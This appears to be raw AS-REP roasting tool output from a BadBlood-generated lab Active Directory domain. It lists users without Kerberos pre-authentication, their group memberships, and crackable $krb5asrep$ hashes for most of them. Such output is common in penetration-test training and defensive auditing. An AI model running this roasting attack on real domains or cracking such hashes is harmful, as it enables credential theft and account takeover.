$krb5asrep$23$CATALINA_STEVENSON@offsec.nl:8f1c8dcc35c12913882567dabc7a8ecf$628f39570681b3bce2653749042ddbb1ca670fd9f35fd0efdedbf09dfc814a94a5d1c66537bf8bcb3d49573e015f90d2b22e0b073889c8082bdd82a10532d01d7b9448df82fa67a30f9feef3d81a967ba72c86facc9f53c82e5bb717e00bedafe83f4d05c9e27ec311275c1f0905668a072a354588b4f33c01c46d9bc6590e6c4418a281b4926e2d5e55e4a64f018ebe942faea783a2ccd3473b75b66205e2148e1dfb3118d47997470aefb7f0a37f46e0da58b781954844e866a6c515be3730c521600b8479fcc061c7055907089a9f87b715fb24e032c5eee349d91b5a940ff4be4efc99b4 Searching for ASREPRoast Users - Details for User 'REVA_JIMENEZ': sAMAccountName : REVA_JIMENEZ userPrincipalName : REVA_JIMENEZ@offsec.nl distinguishedName : CN=REVA_JIMENEZ,OU=Test,OU=GOO,OU=Stage,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1791 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=RO-jnorman12-admingroup1,OU=HRE,OU=People,DC=offsec,DC=nl CN=RI-bue-distlist1,OU=AWS,OU=Tier 2,DC=offsec,DC=nl CN=JE-ger-admingroup1,OU=T0-Roles,OU=Tier 0,OU=Admin,DC=offsec,DC=nl CN=BR-pio-distlist1,OU=T0-Permissions,OU=Tier 0,OU=Admin,DC=offsec,DC=nl CN=IL-jai-admingroup1,OU=Groups,OU=OGC,OU=Tier 1,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:01:41 AM lastLogonTimestamp : 2/10/2022 1:59:36 PM $krb5asrep$23$REVA_JIMENEZ@offsec.nl:e4cfeef9c2a736376e1e82762a06045d$1bef4647141a56e49d316ab2cd5a4e41391d18d661c3e9ea7a503583d703f281661db1c5415142f3f9944cc8c3353f8a94ef6ac304aa0563b54277bc5338e9ba19a54cfb28f2173a6151b20209398b6ec9607f849983602a2233f29ec8186c579e4158796bf30979f3990822dfc803ca162e16a812ef9b6f04f9714c128d068e65a5195b9ba5e5dac4d48296b52b5c2648a2c23a5edaf5ea2d84335fa47144046d01c1ee94d8dca67cb751a61db052b81de51616170f833f0da8b19f73dbf842b8d588bc081a2010263d8204d85027069b8b226cdd1f03544e0b8107f8650a42ad1fe29d96e6 Searching for ASREPRoast Users - Details for User 'OLIVER_WILDER': sAMAccountName : OLIVER_WILDER userPrincipalName : OLIVER_WILDER@offsec.nl distinguishedName : CN=OLIVER_WILDER,OU=T0-Devices,OU=Tier 0,OU=Admin,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1796 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=PA-223-distlist1,OU=Test,OU=AWS,OU=Tier 2,DC=offsec,DC=nl CN=TA-ame-distlist1,OU=HRE,OU=Stage,DC=offsec,DC=nl CN=ST-maz-distlist1,OU=ServiceAccounts,OU=HRE,OU=Tier 1,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:01:43 AM lastLogonTimestamp : 2/10/2022 1:59:36 PM $krb5asrep$23$OLIVER_WILDER@offsec.nl:833b576bb70a2d3659a45e2753676a10$f33fa741663a480c85888df16e84d01516e9e629a7b7720be6332c1e111a389c3b0c33b187789bfc41302a2eda1cc7ddbfc0087e1d6bd450e186afa9997cd5a5b182cc4aa35681b25f49234531257a39218db82e58cb150e5acae1b78db3f3df0999b1d2720d3a01d172c6ac8fa103dae0e72032391ebf3a076d89e312a9e5ed0d328a8a55233f0554e03643a937b2bf280eea4fa4905ff94783002daf14bbbc46ec3ad7d53af85df53877e494624ebd4a1dcf5d5dca32d8ffb384e4d1e90057dbf934debab02a54e92ec38839d003a8b180cb6d586edf36aa3dd4acb116ce00705c342c0650 Searching for ASREPRoast Users - Details for User 'JARROD_MONTOYA': sAMAccountName : JARROD_MONTOYA userPrincipalName : JARROD_MONTOYA@offsec.nl distinguishedName : CN=JARROD_MONTOYA,OU=Test,OU=OGC,OU=Stage,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1800 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=IR-alpinista-admingroup1,OU=Groups,OU=SEC,OU=Tier 2,DC=offsec,DC=nl CN=VI-050-distlist1,OU=Test,OU=FIN,OU=Stage,DC=offsec,DC=nl CN=LY-tet-distlist1,OU=T2-Devices,OU=Tier 2,OU=Admin,DC=offsec,DC=nl CN=VI-man-distlist1,OU=FIN,OU=People,DC=offsec,DC=nl CN=RU-ele-distlist1,OU=ITS,OU=Tier 2,DC=offsec,DC=nl CN=GE-rey-distlist1,OU=T2-Accounts,OU=Tier 2,OU=Admin,DC=offsec,DC=nl CN=ME-289-admingroup1,OU=ServiceAccounts,OU=SEC,OU=Tier 1,DC=offsec,DC=nl CN=AR-angelrinc-distlist1,OU=SEC,OU=Tier 1,DC=offsec,DC=nl CN=DO-ayora2105-distlist1,OU=OGC,OU=Tier 2,DC=offsec,DC=nl CN=HI-teq-admingroup1,OU=GOO,OU=Stage,DC=offsec,DC=nl CN=AD-karunamay-distlist1,OU=ServiceAccounts,OU=OGC,OU=Tier 1,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:01:43 AM lastLogonTimestamp : 2/10/2022 1:59:36 PM $krb5asrep$23$JARROD_MONTOYA@offsec.nl:fe26d09b2be62af362925772dd013885$77f68c243c48b22040057fe91a8a0cb75953cbd1a26246e738e63648c8d985d13a4aec00c9c6a4bb48eeed60bea1945a23cee18238f0843cb05d080f2178497b50035cbfd6a3a387ca6cf4401195765772a0b38f84dae0f523304cc66511143e30b1be7a10599f5f84c1ef529be886c41662d45da63e7b975be629231b589d3e24cb89077c24312f481084a9b5a49ef9a004ef92c0023e38e02e19945e7ce34b34a4e641117096cf3ed522bb5642c0c30ff3c6ebfd900a3262b6e86619a1f2335c14a725129b4a5db474634ab788ea67e25252a162a539572f355764b3ffc0c129b2e987e1a0 Searching for ASREPRoast Users - Details for User 'JOANNE_GOULD': sAMAccountName : JOANNE_GOULD userPrincipalName : JOANNE_GOULD@offsec.nl distinguishedName : CN=JOANNE_GOULD,OU=Devices,OU=BDE,OU=Stage,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1801 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=SH-a3706723z-distlist1,OU=AWS,OU=Tier 2,DC=offsec,DC=nl CN=HO-803-distlist1,OU=Devices,OU=FSR,OU=Tier 1,DC=offsec,DC=nl CN=EM-JEN-distlist1,OU=Devices,OU=SEC,OU=Tier 1,DC=offsec,DC=nl CN=TI-coq-admingroup1,OU=People,DC=offsec,DC=nl CN=EL-pal-distlist1,OU=AWS,OU=Tier 2,DC=offsec,DC=nl CN=Denied RODC Password Replication Group,CN=Users,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:01:44 AM lastLogonTimestamp : 2/10/2022 1:59:36 PM $krb5asrep$23$JOANNE_GOULD@offsec.nl:392ebb4a70e1bbdf3fdc0f597caac7d9$b751843acd77d4383bb33404f04407563f014ece3f14b734cf42c0997db32fc6e527cfeeb9f43494787b5833f20fcec261f6c8a126bb7e3299ab498486dfb9e386589d7cde4aabfb7ee207bbeba12087c10c9ef1971681922feb8472c1f56354fea12fbbb05f0600a1b2a759b9bef379e224227c923a9e8983ee8b1fcd2c1e85a38d9845da83aa180ef27ed768dd01081f8d111063f508077412b86b431f74f2ebe93440444969862cdf743f138d1890ec8231288d8c28e0c557b9f30248e3f7d93d23eebdb16375e4ab6c1df546c4b21ec01e423ece74948f8583f780c3a90cc0c212a35f77 Searching for ASREPRoast Users - Details for User 'MONA_MADDOX': sAMAccountName : MONA_MADDOX userPrincipalName : MONA_MADDOX@offsec.nl distinguishedName : CN=MONA_MADDOX,OU=Devices,OU=HRE,OU=Stage,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1805 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=CO-aldachild-distlist1,OU=Tier 0,OU=Admin,DC=offsec,DC=nl CN=EL-r3l-distlist1,OU=Devices,OU=FSR,OU=Tier 1,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:01:45 AM lastLogonTimestamp : 2/10/2022 1:59:36 PM $krb5asrep$23$MONA_MADDOX@offsec.nl:78d0bd4f29d5bad0324b34d2b5cc45a2$9a3f1288c3bd606e2e143e1ad8fa9ab2324f80b8fc44e567402a74c1ee14757b4cfacdf4d1a9412b641dac8de071b4b1275c0e4482e8d8c77b1ea74f93cfa420227acdc7328067fe2d310a43e858553d3f52f5ba3eddb64f4c9ec9eec865f8743c45bc081be560f16fd11affc6de1d31acc0f0b9911d4fcf1f7198aa3f0f1612952a81256e32e12cc3fe9b28ee1e03350da1c17cd639426e93910df8988d9902e92f3acb108063aabb9f9752388f2f085ca10fa0945105bacf3de6cfac3539367016f558bb4fdfff41f4bbbb7767a3c9beef9a2f14f5fdac59b4c3af8b9b9e3325dffbe15f9a Searching for ASREPRoast Users - Details for User 'MIRIAM_MARSHALL': sAMAccountName : MIRIAM_MARSHALL userPrincipalName : MIRIAM_MARSHALL@offsec.nl distinguishedName : CN=MIRIAM_MARSHALL,OU=SEC,OU=People,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1808 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=MA-yen-distlist1,OU=Test,OU=AZR,OU=Tier 1,DC=offsec,DC=nl CN=MU-3Acuario3-distlist1,OU=Groups,OU=ITS,OU=Tier 2,DC=offsec,DC=nl CN=EL-r3l-distlist1,OU=Devices,OU=FSR,OU=Tier 1,DC=offsec,DC=nl CN=MO-estoyfeli-distlist1,OU=Groups,OU=TST,OU=Tier 2,DC=offsec,DC=nl CN=CA-oop-distlist1,OU=Devices,OU=FIN,OU=Tier 2,DC=offsec,DC=nl CN=JA-1a2s3d4f5-distlist1,OU=ESM,OU=Tier 1,DC=offsec,DC=nl CN=RA-cuteypie9-distlist1,OU=Test,OU=OGC,OU=Tier 2,DC=offsec,DC=nl CN=EL-lui-distlist1,OU=SEC,OU=People,DC=offsec,DC=nl CN=HO-fuerteven-distlist1,OU=ServiceAccounts,OU=TST,OU=Stage,DC=offsec,DC=nl CN=MI-290-admingroup1,OU=Deprovisioned,OU=People,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:01:45 AM lastLogonTimestamp : 2/10/2022 1:59:37 PM $krb5asrep$23$MIRIAM_MARSHALL@offsec.nl:7fc23dd4928d05d3d99e237ebf1c1385$92947f9f122785b1243b1301e076246a6be79a45c06181e2d12d17154dd7941efff0bd7ed28d2c67ebd3b929ea8a3db45161afb4dbe48ae0fc8443379bb039aebcbbd5a726b82118050078dfec4adc1f5491b90268d9ee930dda81ae292ce6cd727a383357f38a7b3f58407d8d603f6a468c35e2e4c4580f2fcefafcd6030d49a221091a0489f3a5f02f7636854d030890e79db358bdff8a377a478b38fd1a8c10f70619768f2da7a7f7785dd8ae06472c775b35d7d29d9d142c62f33f95a2a29776ba591e3b0b6b254787e6505d09002567f74f98177499fec0e20ec8e27310b61e14adc8c3 Searching for ASREPRoast Users - Details for User 'CRUZ_SHERMAN': sAMAccountName : CRUZ_SHERMAN userPrincipalName : CRUZ_SHERMAN@offsec.nl distinguishedName : CN=CRUZ_SHERMAN,OU=Test,OU=BDE,OU=Tier 2,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1809 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=JO-aye-admingroup1,OU=Domain Controllers,DC=offsec,DC=nl CN=JA-a1b-distlist1,OU=SEC,OU=Tier 1,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:01:46 AM lastLogonTimestamp : 2/10/2022 1:59:37 PM $krb5asrep$23$CRUZ_SHERMAN@offsec.nl:f339abbfd7b0df5150f5fb5315c735f5$774a6692f54216c442445ef24cd9a211479d81d080e7fe58c0c218f01f6fce0f0f4a005eb893641b3abd26ddb7523d7071eed148ead5619cda2393875d2abea3e49751b8116bdcbc3fc2d1b9091cb1f0a3ac48b2a40a18273391c33dc62e6550b365870c55288a603becd3269ce87b3a19e5bf71e4b5973dea782f78b94920f9f6335d94d09f802fcbb690b59bc118890601a386f4f7e7e4ea89f45a2499347f1692e25be5e8018e30789e7e1d32d2d2f7455f453f82531d0ca879d8945127340fc91393a7d1a06cfbd2df32264fc9311f852d1fec459affa25401afc6b5b0fcd9236ffa0cac Searching for ASREPRoast Users - Details for User 'REINALDO_RANDALL': sAMAccountName : REINALDO_RANDALL userPrincipalName : REINALDO_RANDALL@offsec.nl distinguishedName : CN=REINALDO_RANDALL,OU=Test,OU=FIN,OU=Tier 1,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1824 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=JA-Miguel294-distlist1,OU=HRE,OU=Tier 2,DC=offsec,DC=nl CN=TR-sohuymagu-admingroup1,OU=Devices,OU=BDE,OU=Stage,DC=offsec,DC=nl CN=WA-mar-distlist1,OU=Devices,OU=AWS,OU=Stage,DC=offsec,DC=nl CN=KA-viv-distlist1,OU=ESM,OU=Stage,DC=offsec,DC=nl CN=EL-zir-distlist1,OU=Test,OU=GOO,OU=Stage,DC=offsec,DC=nl CN=CH-327-admingroup1,OU=Groups,OU=ESM,OU=Stage,DC=offsec,DC=nl CN=EL-pal-distlist1,OU=AWS,OU=Tier 2,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:01:49 AM lastLogonTimestamp : 2/10/2022 1:59:37 PM $krb5asrep$23$REINALDO_RANDALL@offsec.nl:dc7123a055a958b7f628eea5439f9009$433ebc4d4368adac230645dbf31f7650cd491069d4cf31981ee7220a1eca94dd89feaa88d24a1766dc806ade6e2ab341f01c5f3f35d06f96b5cae67ddd100b2001664b3dea4a9e67f540d2a39b831ce0d5226ca1c49a0e0a25217bfb5fa36437687f6c1f842c427e86dc9002448bdaf36f11ed320a91d4e62af222df0f64f00f6a758765df0f3bd3cdcf67ec8e316f6e2468a4986f7c22a10b0b6c7c29f67f0ac0536dfc99bf976cf8fadda5ee985dcb9dd61be57dda71804c2aa1d6e18d3fdd66c63bdb8473f6f905932980023c7484dd88fe9417fec5483ed26b78292fe8b17bad51e5afd4 Searching for ASREPRoast Users - Details for User 'LAZARO_ENGLAND': sAMAccountName : LAZARO_ENGLAND userPrincipalName : LAZARO_ENGLAND@offsec.nl distinguishedName : CN=LAZARO_ENGLAND,OU=ESM,OU=Tier 1,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1826 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=VE-majaivars-distlist1,OU=HRE,OU=Tier 1,DC=offsec,DC=nl CN=CL-tkfkdgody-distlist1,OU=AZR,OU=Stage,DC=offsec,DC=nl CN=NO-rus-distlist1,OU=BDE,OU=Tier 1,DC=offsec,DC=nl CN=EM-gen-distlist1,OU=Groups,OU=ESM,OU=Stage,DC=offsec,DC=nl CN=36-nat-admingroup1,OU=.SecFrame.com,DC=offsec,DC=nl CN=RU-az2826720-distlist1,OU=ServiceAccounts,OU=SEC,OU=Tier 1,DC=offsec,DC=nl CN=DA-palomo812-distlist1,OU=Groups,OU=ESM,OU=Stage,DC=offsec,DC=nl CN=EL-adr-admingroup1,OU=Staging,OU=Admin,DC=offsec,DC=nl CN=EV-mey-distlist1,OU=Test,OU=OGC,OU=Tier 1,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:01:50 AM lastLogonTimestamp : 2/10/2022 1:59:37 PM $krb5asrep$23$LAZARO_ENGLAND@offsec.nl:e19edb4470dbcbc4847d42bbe9ed31f8$2ea4b8a8341fba95d17ffd9811c51cf30e7c65b8a97e086c56d06f89a8d91b8b836eeffcc6274e8d1bb6596cdbece61bf5b72d38241758d025aad1643de0be250c204e58193054c584713499334e83174651804991b30ef9f15b3fd438084bdeffa35c8776821b807ff0d2b792028adc1990979ce7fd90ae9d9075d97eb88872b63a3884e24e93a40bf5ca6160053920af9ee8bb727a33980adef0cedc026f5d460bb53e308a8cfe8a53a144bbd14e266cdab7e2db12a89fb5e761b15798bf222f48491034d942d3cd404421c89fdc98bde06094cf4d6676b386a0aa44c49c7f7ddd558f14fe Searching for ASREPRoast Users - Details for User 'CONNIE_BAUER': sAMAccountName : CONNIE_BAUER userPrincipalName : CONNIE_BAUER@offsec.nl distinguishedName : CN=CONNIE_BAUER,OU=Devices,OU=BDE,OU=Tier 1,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1831 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=DI-and-admingroup1,OU=Test,OU=TST,OU=Tier 2,DC=offsec,DC=nl CN=EM-gen-distlist1,OU=Groups,OU=ESM,OU=Stage,DC=offsec,DC=nl CN=TI-sudivino1-distlist1,OU=Groups,OU=HRE,OU=Tier 1,DC=offsec,DC=nl CN=HO-fuerteven-distlist1,OU=ServiceAccounts,OU=TST,OU=Stage,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:01:51 AM lastLogonTimestamp : 2/10/2022 1:59:37 PM $krb5asrep$23$CONNIE_BAUER@offsec.nl:90380c64b3f9d49a30ac055c734bbbec$e5454f6a125f40cfd32c266668d8c72f96974eb3d15a398c3bb9cb6554b33352bd5146a2100aa4c0d6220cd7a14b3436ccb009e7e6071ae04406e97d8dde4a4bc6183c29f1091bc670e35e03ad17478322537ca2634b6ada1319a09e0f1c310648e70b60aa4b065a62905cda227d4c9ee8470023d72cfb5e1e92102e00218f41c04b87b3ec1914370083b7bb9e4a1d674a6e08872f820a24c75e22a87c9af4f636aa172dcdc8500d488af617409630ecc8aaca015e3374c09124d86c21a9e4632e20277ba69f1848f0c062413363b59aab5e6f9ea7267ab6fe5ade500afa3ff2a892c3fc89d8 Searching for ASREPRoast Users - Details for User 'OLIVER_HUFF': sAMAccountName : OLIVER_HUFF userPrincipalName : OLIVER_HUFF@offsec.nl distinguishedName : CN=OLIVER_HUFF,OU=Test,OU=SEC,OU=Stage,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1858 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=EL-Dul-admingroup1,OU=Groups,OU=TST,OU=Tier 1,DC=offsec,DC=nl CN=RO-tam-admingroup1,OU=ESM,OU=Tier 2,DC=offsec,DC=nl CN=MI-sol-distlist1,OU=ServiceAccounts,OU=AWS,OU=Stage,DC=offsec,DC=nl CN=CA-161-distlist1,OU=T0-Servers,OU=Tier 0,OU=Admin,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:01:57 AM lastLogonTimestamp : 2/10/2022 1:59:37 PM $krb5asrep$23$OLIVER_HUFF@offsec.nl:afd982422218e03c4ef88994c387ebb6$1be4cc964ed293c701a1f877af89dc55e25f12f1cc5eabddb25f7bd4087c2cdcac6bb5837c2a73afc7558d6c5d0f36882dacd70349d0780951b2bfbd524f2b54c2580537072cf062b8adab94e44844a2b258f4b2f78a3c76b4c75bdbd1ec4f233a2ea05a3d09a5bb00e5896d3b3a5252db3023cf22b603363346acb3a7a4d16190e1774c45c04b173125fb0174d28941f008a819cdb78332e5ed58e052a707d8a18294289c274186a417cfea2c98b2db4c35ac79bf1a88bab8a41084ee415cea57ffeeafc8ce66af8ede20cd0b1d49ac6fbd5ca65ca6a6e07cfb9b3424cf588abf650fa1622e Searching for ASREPRoast Users - Details for User 'ROD_HENDRIX': sAMAccountName : ROD_HENDRIX userPrincipalName : ROD_HENDRIX@offsec.nl distinguishedName : CN=ROD_HENDRIX,OU=Test,OU=FSR,OU=Tier 2,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1893 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=JA-shecoshec-admingroup1,OU=FSR,OU=Stage,DC=offsec,DC=nl CN=AM-mad-distlist1,OU=Tier 0,OU=Admin,DC=offsec,DC=nl CN=LY-tet-distlist1,OU=T2-Devices,OU=Tier 2,OU=Admin,DC=offsec,DC=nl CN=KA-valentino-distlist1,OU=ServiceAccounts,OU=ESM,OU=Tier 1,DC=offsec,DC=nl CN=DY-210-distlist1,OU=FSR,OU=Stage,DC=offsec,DC=nl CN=JU-tre-distlist1,OU=Test,OU=FSR,OU=Tier 2,DC=offsec,DC=nl CN=ME-hal-distlist1,OU=Groups,OU=FIN,OU=Tier 1,DC=offsec,DC=nl CN=GE-siguepala-distlist1,OU=Groups,OU=AWS,OU=Tier 1,DC=offsec,DC=nl CN=HO-126-distlist1,OU=FIN,OU=Tier 1,DC=offsec,DC=nl CN=CL-tat-distlist1,OU=Test,OU=FIN,OU=Stage,DC=offsec,DC=nl CN=LE-bessyague-distlist1,OU=ServiceAccounts,OU=HRE,OU=Tier 2,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:02:05 AM lastLogonTimestamp : 2/10/2022 1:59:37 PM $krb5asrep$23$ROD_HENDRIX@offsec.nl:9e83f1634c02d7704e591a13b443184c$91bb55eb18409d77fd588cfc52dff4d05081b99d0140e751b59ba285576380ab3e1c26fef8268b0c2cff22211b20219db913bf10abd0f7a4f8c2cefeed93f5e7087038b7b2f094746290b33ba7cd51145c891d53c4ca6ffcd3023e8e9adb33391a357e868fd96dddb4f503eabd9e423da2df48d90778b16bbec52a6c4362a3ae1afb1556d3dfea0c1f6074070120cd1f76c8dd641cbf43daac7b0276e570514f0a15eb2df43b823e54db46a4a4cdc93a5153dcba9c40bac8ea87a8b013d27186fe24c017e56f7d37b0dbdadad8499b3bcf7fe59d15b1e7e529339a8367b2aadb0534c239bfdf Searching for ASREPRoast Users - Details for User 'JEFFERY_WOLF': sAMAccountName : JEFFERY_WOLF userPrincipalName : JEFFERY_WOLF@offsec.nl distinguishedName : CN=JEFFERY_WOLF,OU=Quarantine,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1898 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : pwdLastSet : 2/5/2022 10:02:06 AM lastLogonTimestamp : 2/10/2022 1:59:37 PM $krb5asrep$23$JEFFERY_WOLF@offsec.nl:4eefb58ff00daf491e743523644c96de$cc2cb7e1ab755e61f3509a6e03f14f50ba8ca7c17624932857209c6e77c59b478ec4f12259bcce67b2b123aee21abeed5377be07ccb52e5219cb054e8193e4437e801be791f18ada01961b9710ec468b599afd43832abfc18a9d3b5ba905f93f39ce85a02829707501d5a07a6fe578b27bab34384e598563820dd58dbff1a5a2f605c8f8e27fbade59c5ef02da21ad3b34dc036fdd42ea3f939e7a939c4b7f6af2748f66e6e57503fcc108ff25b47d661611152d22c7756d396b3de598f3b85a7d6cc09596985fcd046e86c69439d74ff2eac21139f9c124ed0d0c43be8839ab235d942c95ef Searching for ASREPRoast Users - Details for User 'DANNIE_LAWRENCE': sAMAccountName : DANNIE_LAWRENCE userPrincipalName : DANNIE_LAWRENCE@offsec.nl distinguishedName : CN=DANNIE_LAWRENCE,OU=ServiceAccounts,OU=ITS,OU=Tier 1,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1928 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=EV-adi-distlist1,OU=Test,OU=BDE,OU=Tier 1,DC=offsec,DC=nl CN=RO-tam-admingroup1,OU=ESM,OU=Tier 2,DC=offsec,DC=nl CN=LU-mar-admingroup1,OU=T0-Permissions,OU=Tier 0,OU=Admin,DC=offsec,DC=nl CN=AL-v_s-distlist1,OU=SEC,OU=Tier 2,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:02:13 AM lastLogonTimestamp : 2/10/2022 1:59:38 PM $krb5asrep$23$DANNIE_LAWRENCE@offsec.nl:8248baf57392b7e3b1b962023aedf609$ccfb2cc93f4a1c4ee0724032c9c12e9c7ab551c7c5b71c4679db29c63af42fb7fec14926d9f3f9e90cf4dd38d98671fb82e94021361ed25a6334ac3548b12b5674e0793b67f003ed03a014de4a76b681a35d3864f157b98d48eb4feb8ced7a42698cf35aabd37a8a8ead6a0891e8b341da7bb1b045e37dda2b25ff600bced9f9c041bb72e814cd0a3e4a9a46cb36852af01b45d763df527642e6ba6b917b4b720228e7d375b2e7ad9bc59e3f49603bb08b348f43e3dfd3404cebe2ebb14f5007bb3f04ce5b08dce1f2d7d040537ed10bc3a2e5369ed5df4cc8e078dde7a93d92ae4f0f64ba15 Searching for ASREPRoast Users - Details for User 'SAMUEL_HOBBS': sAMAccountName : SAMUEL_HOBBS userPrincipalName : SAMUEL_HOBBS@offsec.nl distinguishedName : CN=SAMUEL_HOBBS,OU=OGC,OU=Tier 1,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1944 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : pwdLastSet : 2/5/2022 10:02:17 AM lastLogonTimestamp : 2/10/2022 1:59:38 PM $krb5asrep$23$SAMUEL_HOBBS@offsec.nl:6457fbcde66a69f03ad1cccb4b427060$a805441eaff2b40f9b3fbde507b26c417a3690371a4ad72d29b37e1ab37fd0159892ad8fcabc764fbfc68e2702dbc9522cd673afcc30d6fa360e15b79d976960322a38884fba75ff60c47750a43d846f3e0d3b484d1d60303dcfe71c5d6c9c2b67deecfed1ede02eb74c9d089de0c7c782e8ed8d7e5fc199da156fef68b59e8e1d6cd5a746895997c9519c21c0b7d6d2f9f25133b09f5fa979ae02340f7f3464791d4926d9a6c5580ac3ba932c507ba6fbd43be5ee25562019484443c2cbcd79a2498f246d7839e54e15a0cd9f18b3967479d793f7caa58379e86d25bff95782f44b0350d38c Searching for ASREPRoast Users - Details for User 'CHI_HANSEN': sAMAccountName : CHI_HANSEN userPrincipalName : CHI_HANSEN@offsec.nl distinguishedName : CN=CHI_HANSEN,OU=Devices,OU=ESM,OU=Stage,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1948 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=PH-mon-distlist1,OU=ServiceAccounts,OU=FSR,OU=Tier 2,DC=offsec,DC=nl CN=AL-cinthia10-distlist1,OU=Devices,OU=ESM,OU=Tier 1,DC=offsec,DC=nl CN=AL-reinadeco-distlist1,OU=ESM,OU=Tier 1,DC=offsec,DC=nl CN=ST-yol-distlist1,OU=ServiceAccounts,OU=FSR,OU=Tier 1,DC=offsec,DC=nl CN=BR-lil-distlist1,OU=Devices,OU=SEC,OU=Tier 2,DC=offsec,DC=nl CN=KR-brailbrai-admingroup1,OU=Groups,OU=ESM,OU=Tier 2,DC=offsec,DC=nl CN=DY-210-distlist1,OU=FSR,OU=Stage,DC=offsec,DC=nl CN=DE-mar-distlist1,OU=ServiceAccounts,OU=ITS,OU=Tier 2,DC=offsec,DC=nl CN=BE-greandia1-distlist1,OU=ServiceAccounts,OU=FIN,OU=Tier 1,DC=offsec,DC=nl CN=JU-tre-distlist1,OU=Test,OU=FSR,OU=Tier 2,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:02:18 AM lastLogonTimestamp : 2/10/2022 1:59:38 PM $krb5asrep$23$CHI_HANSEN@offsec.nl:2670ad37a18a2ed9813b608475fd393b$e93c3c7457cca9ad88205a51cec20f6ff213099d0ed93ad492c647df425b1d5940b168c6a506fceec56d0285994dbe34e41ed9a9d659a99497394554e25416943f78e4bbca933c9232321af82102b530928651712d7362bfdc8c11ed0601ce4b37f284958081a0774253727e69e4eb27c7e205c16931823979a9652e7759c87e1617c63266c9039bf12fb96f5bb92c60d1a403fc6e878790a1d19e7ab7e8666d94760d0773046271254f3536c87fbdaa5701ae256e0cdaf66b65d444ffb4b3f6912811ed4c351270e772f111b169fe0d64ee01d109628ecaab98d59d8784f1371f94a0b442ba Searching for ASREPRoast Users - Details for User 'NOELLE_PRINCE': sAMAccountName : NOELLE_PRINCE userPrincipalName : NOELLE_PRINCE@offsec.nl distinguishedName : CN=NOELLE_PRINCE,OU=ServiceAccounts,OU=SEC,OU=Tier 1,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1951 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=LE-supercali-admingroup1,OU=AZR,OU=Tier 1,DC=offsec,DC=nl CN=JA-derivados-distlist1,OU=T0-Servers,OU=Tier 0,OU=Admin,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:02:18 AM lastLogonTimestamp : 2/10/2022 1:59:38 PM 